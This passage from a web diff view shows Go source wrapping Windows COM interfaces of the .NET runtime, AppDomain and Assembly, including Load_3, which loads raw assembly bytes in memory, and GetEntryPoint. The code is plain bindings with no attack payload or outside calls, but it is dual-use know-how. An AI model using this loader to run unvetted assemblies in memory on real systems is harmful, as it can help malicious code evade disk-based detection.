// GetAppDomain is a wrapper function that returns an appDomain from an existing ICORRuntimeHost object
func GetAppDomain(runtimeHost *ICORRuntimeHost) (appDomain *AppDomain, err error) {
debugPrint("Entering into appdomain.GetAppDomain()...")
iu, err := runtimeHost.GetDefaultDomain()
if err != nil {
return
}
err = iu.QueryInterface(IID_AppDomain, unsafe.Pointer(&appDomain))
return
}
func (obj *AppDomain) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
debugPrint("Entering into appdomain.QueryInterface()...")
ret, _, _ := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(riid)),
uintptr(unsafe.Pointer(ppvObject)))
return ret
}
func (obj *AppDomain) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *AppDomain) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// GetHashCode serves as the default hash function.
// https://docs.microsoft.com/en-us/dotnet/api/system.object.gethashcode?view=netframework-4.8#System_Object_GetHashCode
func (obj *AppDomain) GetHashCode() (int32, error) {
debugPrint("Entering into appdomain.GetHashCode()...")
ret, _, err := syscall.Syscall(
obj.vtbl.GetHashCode,
2,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the appdomain.GetHashCode function returned an error:\r\n%s", err)
}
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
return int32(ret), nil
}
// Load_3 Loads an Assembly into this application domain.
// virtual HRESULT __stdcall Load_3 (
// /*[in]*/ SAFEARRAY * rawAssembly,
// /*[out,retval]*/ struct _Assembly * * pRetVal ) = 0;
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-5.0
func (obj *AppDomain) Load_3(rawAssembly *SafeArray) (assembly *Assembly, err error) {
debugPrint("Entering into appdomain.Load_3()...")
hr, _, err := syscall.Syscall(
obj.vtbl.Load_3,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(rawAssembly)),
uintptr(unsafe.Pointer(&assembly)),
)
if err != syscall.Errno(0) {
if err != syscall.Errno(1150) {
return
}
}
if hr != S_OK {
err = fmt.Errorf("the appdomain.Load_3 function returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// ToString Obtains a string representation that includes the friendly name of the application domain and any context policies.
// https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.tostring?view=net-5.0#System_AppDomain_ToString
func (obj *AppDomain) ToString() (domain string, err error) {
debugPrint("Entering into appdomain.ToString()...")
var pDomain *string
hr, _, err := syscall.Syscall(
obj.vtbl.get_ToString,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pDomain)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the AppDomain.ToString method retured an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the AppDomain.ToString method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
domain = ReadUnicodeStr(unsafe.Pointer(pDomain))
return
}
+129
View File
@@ -0,0 +1,129 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// from mscorlib.tlh
type Assembly struct {
vtbl *AssemblyVtbl
}
// AssemblyVtbl is a COM virtual table of functions for the Assembly Class
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8
type AssemblyVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
get_ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
get_CodeBase uintptr
get_EscapedCodeBase uintptr
GetName uintptr
GetName_2 uintptr
get_FullName uintptr
get_EntryPoint uintptr
GetType_2 uintptr
GetType_3 uintptr
GetExportedTypes uintptr
GetTypes uintptr
GetManifestResourceStream uintptr
GetManifestResourceStream_2 uintptr
GetFile uintptr
GetFiles uintptr
GetFiles_2 uintptr
GetManifestResourceNames uintptr
GetManifestResourceInfo uintptr
get_Location uintptr
get_Evidence uintptr
GetCustomAttributes uintptr
GetCustomAttributes_2 uintptr
IsDefined uintptr
GetObjectData uintptr
add_ModuleResolve uintptr
remove_ModuleResolve uintptr
GetType_4 uintptr
GetSatelliteAssembly uintptr
GetSatelliteAssembly_2 uintptr
LoadModule uintptr
LoadModule_2 uintptr
CreateInstance uintptr
CreateInstance_2 uintptr
CreateInstance_3 uintptr
GetLoadedModules uintptr
GetLoadedModules_2 uintptr
GetModules uintptr
GetModules_2 uintptr
GetModule uintptr
GetReferencedAssemblies uintptr
get_GlobalAssemblyCache uintptr
}
func (obj *Assembly) QueryInterface(riid *windows.GUID, ppvObject *uintptr) uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(riid)),
uintptr(unsafe.Pointer(ppvObject)))
return ret
}
func (obj *Assembly) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *Assembly) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// GetEntryPoint returns the assembly's MethodInfo
// virtual HRESULT __stdcall get_EntryPoint (
// /*[out,retval]*/ struct _MethodInfo * * pRetVal ) = 0;
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.entrypoint?view=netframework-4.8#System_Reflection_Assembly_EntryPoint
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=netframework-4.8
func (obj *Assembly) GetEntryPoint() (pRetVal *MethodInfo, err error) {
debugPrint("Entering into assembly.GetEntryPoint()...")
hr, _, err := syscall.Syscall(
obj.vtbl.get_EntryPoint,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pRetVal)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the Assembly::GetEntryPoint method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the Assembly::GetEntryPoint method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
Loaded 100 of 2704 files, more files were not shown because too many files have changed in this diff. Show more